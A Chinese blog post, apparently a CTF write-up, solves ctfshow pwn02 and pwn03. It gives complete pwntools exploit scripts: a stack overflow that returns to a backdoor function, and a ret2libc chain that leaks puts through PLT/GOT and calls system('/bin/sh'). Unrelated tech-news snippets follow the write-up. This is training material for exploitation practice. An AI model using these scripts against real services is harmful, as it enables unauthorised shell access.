ctfshow pwn02pwn03

发布时间:2026/7/17 6:01:13

ctfshow pwn02pwn03
一、工具准备参考BUUCTF之pwn前两题解析及错误分析由于老版的buuctf处于归档状态改为在ctfshow中练习二、题型解决与错误分析1.pwn02将stack下载用IDA打开获取信息根据地址信息可知本次是32位的题目。地址显示方式参考BUUCTF之pwn前两题解析及错误分析易错提示刚开始确实容易把偏移量当作4*148来写攻击脚本但是往下分析发现主函数中不存在缓冲区数组没有gets/scanf等易溢出函数所以漏洞不在main函数中。而且主函数中只会输出没有输入读取的功能。之后发现跳转到pwnme函数后才结束所以漏洞很可能在pwnme函数中分析pwnme函数风险分析1.由图中的32h可知fgets允许读取最大长度为502.buf起点是edp - 9一共13字节943.通过分析可知栈上实际能用来存储的空间只有9字节却给fgets传了50字节存在栈溢出的风险由此可知偏移量为13找后门函数地址在stack函数中所有数据找到后写攻击脚本from pwn import * premote(pwn.challenge.ctf.show,28292) backdoor0x08048518 offset13 payloadbA*offsetp32(backdoor) p.sendline(payload) p.interactive()在虚拟机上运行得到flag2.pwn03下载stack1并用IDA打开主函数分析主函数中也是有相应的输出但是没有输入空间是完全安全的所以需要对pwnme函数进行分析查找漏洞。分析pwnme函数本题的风险与上题相同故可知偏移量为9413找后门函数注意在本题中没有明显的后门函数名称分析题型1.无后门函数属于标准的ret2libc题型2. 观察发现函数名称后面带有 .plt 后缀这表明它是 PLTProcedure Linkage Table表项。在 ELFExecutable and Linkable Format文件中PLT 无法独立工作在动态链接模式下必须与 GOTGlobal Offset Table协同配合。利用这种机制我们可以泄露 libc 中函数的真实地址进而计算出 libc 的基址。3.可用泄露函数puts,程序导入了puts适合做信息泄露排除法fgets作用是读取_libc_start_main作用是启动函数setvbuf作用是设置输入缓冲简单对应关系可做区分1.putsplt代码段里的跳板函数用来跳转到 GOT 取值2.putsgot数据段内存地址存放 puts 在 libc 里的绝对地址3.GLIBC_xx仅符号版本修饰不属于 PLT / GOT 标记。寻找关键地址1.puts_plt所以puts_plt0x080483802.puts_gotjmp ds::off就是GOT表项的符号对应地址puts_got0x0804A0103.main函数起始地址的首地址为0x080484DF写脚本from pwn import * io remote(pwn.challenge.ctf.show, 28257) # 题目固定地址 puts_plt 0x08048380 puts_got 0x0804A010 main 0x080484DF payload1 bA * 13 p32(puts_plt) p32(main) p32(puts_got) io.sendline(payload1) # 核心匹配两次换行精准跳过垃圾输出不会卡死不会漏读 io.recvuntil(b\n\n) # 只读4字节puts真实地址 leak u32(io.recv(4)) libc_base leak - 0x067360 sys libc_base 0x03cd10 binsh libc_base 0x17b8cf payload2 bA * 13 p32(sys) p32(0) p32(binsh) io.sendline(payload2) io.interactive()在虚拟机上运行得flag

相关新闻

IntelliJ IDEA 使用相关

IntelliJ IDEA 使用相关

2026/7/17 6:01:13

IntelliJ IDEA 下载、版本 IntelliJ IDEA 其他版本下载 https://www.jetbrains.com/zh-cn/idea/download/other/ IntelliJ IDEA 2025.1 最新变化 https://www.cnblogs.com/ioufev/articles/18958312 JetBrains2025.3更新 全面拥抱最新技术栈:Java 25 Spring 7/Boot…

SpringBoot制作Starter以及bean的自动装配

SpringBoot制作Starter以及bean的自动装配

2026/7/17 6:01:13

什么是 Starter&#xff1f;举个例子&#xff0c;在 Spring Boot 项目中引入 spring-boot-starter-data-redis 的依赖&#xff0c;就获得了一个全局可用的 StringRedisTemplate 类型的 bean 对象。<dependency><groupId>org.springframework.boot</groupId>&…

普通烤火罩容易起火,新 e 选安全吗?

普通烤火罩容易起火,新 e 选安全吗?

2026/7/17 5:51:13

更安全。面料通过阻燃检测&#xff0c;烟头、取暖高温不易引燃&#xff0c;无阴燃风险&#xff0c;老人小孩居家使用更放心。

深度学习模型压缩技术:量化、剪枝与蒸馏实战

深度学习模型压缩技术:量化、剪枝与蒸馏实战

2026/7/17 7:31:17

1. 深度学习模型压缩的核心价值与挑战在移动端和嵌入式设备上部署深度学习模型时&#xff0c;我们常常面临一个尴尬的现实&#xff1a;实验室里准确率高达95%的CNN模型&#xff0c;放到手机上运行需要3秒才能处理一张图片&#xff0c;内存占用直接爆掉512MB。这就是模型压缩技术…

Codex App Windows版worktree实战:多环境隔离与配置管理

Codex App Windows版worktree实战:多环境隔离与配置管理

2026/7/17 7:31:17

1. 项目概述&#xff1a;为什么一个“worktree”能让你从Codex App Windows用户变成真正高手&#xff1f;Codex App Windows版&#xff0c;最近在技术写作、文档自动化和本地AI辅助编程圈子里火得有点突然。很多人第一次打开它&#xff0c;发现界面清爽、响应快、中文支持还行&…

极速语音转写终极指南:如何使用faster-whisper实现4倍加速

极速语音转写终极指南:如何使用faster-whisper实现4倍加速

2026/7/17 7:31:17

极速语音转写终极指南&#xff1a;如何使用faster-whisper实现4倍加速 【免费下载链接】faster-whisper Faster Whisper transcription with CTranslate2 项目地址: https://gitcode.com/GitHub_Trending/fa/faster-whisper 你是否还在为语音转写速度慢、内存占用高而烦…

昉·星光2 RISC-V单板计算机GPU性能解析与优化

昉·星光2 RISC-V单板计算机GPU性能解析与优化

2026/7/17 7:31:17

1. 昉星光 2单板计算机的硬件架构解析作为全球首款面向边缘计算的RISC-V架构Linux单板计算机&#xff0c;昉星光2&#xff08;VisionFive 2&#xff09;采用了赛昉科技自主研发的惊鸿7100系列处理器。这款SoC的核心是采用64位RISC-V指令集的JH7110芯片&#xff0c;其四核设计主…

MySQL连接拒绝错误排查与解决方案

MySQL连接拒绝错误排查与解决方案

2026/7/17 7:31:17

1. MySQL连接拒绝错误的本质与常见场景当你在终端或应用程序中看到"Cant connect to MySQL server on xxx (61 "Connection refused")"这个错误时&#xff0c;本质上表示客户端无法与MySQL服务器建立TCP连接。这个错误发生在网络层&#xff0c;比认证错误&…

AI-Shoujo HF Patch安装配置全攻略:从原理到实战避坑指南

AI-Shoujo HF Patch安装配置全攻略:从原理到实战避坑指南

2026/7/17 7:21:17

1. 项目概述&#xff1a;为什么你需要HF Patch&#xff1f;如果你正在玩AI-Shoujo这款游戏&#xff0c;并且感觉原版内容在角色互动、场景构建或者功能扩展上有些“意犹未尽”&#xff0c;那么你大概率已经听说过HF Patch&#xff08;High-Fidelity Patch&#xff0c;高保真增强…

Unity游戏文本翻译架构深度解析:XUnity.AutoTranslator的技术实现与工程实践

Unity游戏文本翻译架构深度解析:XUnity.AutoTranslator的技术实现与工程实践

2026/7/16 0:35:09

Unity游戏文本翻译架构深度解析&#xff1a;XUnity.AutoTranslator的技术实现与工程实践 【免费下载链接】XUnity.AutoTranslator 项目地址: https://gitcode.com/gh_mirrors/xu/XUnity.AutoTranslator XUnity.AutoTranslator作为Unity游戏社区中最成熟的文本翻译解决方…

openEuler Raspberry Pi Kernel设备驱动开发指南:为树莓派硬件添加支持

openEuler Raspberry Pi Kernel设备驱动开发指南:为树莓派硬件添加支持

2026/7/16 14:29:31

openEuler Raspberry Pi Kernel设备驱动开发指南&#xff1a;为树莓派硬件添加支持 【免费下载链接】raspberrypi-kernel It provides openEuler kernel source for Raspberry Pi 项目地址: https://gitcode.com/openeuler/raspberrypi-kernel 前往项目官网免费下载&…

openEuler系统集成测试实战:基于smoke-test套件的环境验证技巧

openEuler系统集成测试实战:基于smoke-test套件的环境验证技巧

2026/7/16 14:18:17

openEuler系统集成测试实战&#xff1a;基于smoke-test套件的环境验证技巧 【免费下载链接】integration-test The repo contains test suits for system integration test 项目地址: https://gitcode.com/openeuler/integration-test 前往项目官网免费下载&#xff1a;…

Cursor终端插件生态避坑指南:23个实测低效插件黑名单,附3个自研轻量替代方案

Cursor终端插件生态避坑指南:23个实测低效插件黑名单,附3个自研轻量替代方案

2026/7/17 0:00:57

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;Cursor终端插件生态避坑指南概览 Cursor 作为基于 VS Code 内核构建的 AI 原生编辑器&#xff0c;其终端插件生态虽活跃&#xff0c;但存在兼容性断层、权限策略突变与调试链路断裂等典型风险。开发者常…

ChatGPT写作提示词效率革命:单条提示词响应质量提升3.8倍的关键变量(附可复用提示词矩阵表)

ChatGPT写作提示词效率革命:单条提示词响应质量提升3.8倍的关键变量(附可复用提示词矩阵表)

2026/7/17 0:00:57

更多请点击&#xff1a; https://codechina.net 第一章&#xff1a;ChatGPT写作提示词效率革命&#xff1a;单条提示词响应质量提升3.8倍的关键变量&#xff08;附可复用提示词矩阵表&#xff09; 提示词工程已从经验试错迈入变量驱动的科学阶段。实证研究表明&#xff0c;影响…

DeepSeek V4替换Codex底座模型的实践与优化

DeepSeek V4替换Codex底座模型的实践与优化

2026/7/17 0:00:57

1. 为什么选择用DeepSeek V4替换Codex的底座模型去年我在开发一个智能代码补全工具时&#xff0c;发现Codex的默认底座模型在复杂业务逻辑场景下表现不尽如人意。经过多次测试对比&#xff0c;DeepSeek V4在以下几个关键指标上展现出明显优势&#xff1a;代码补全准确率&#x…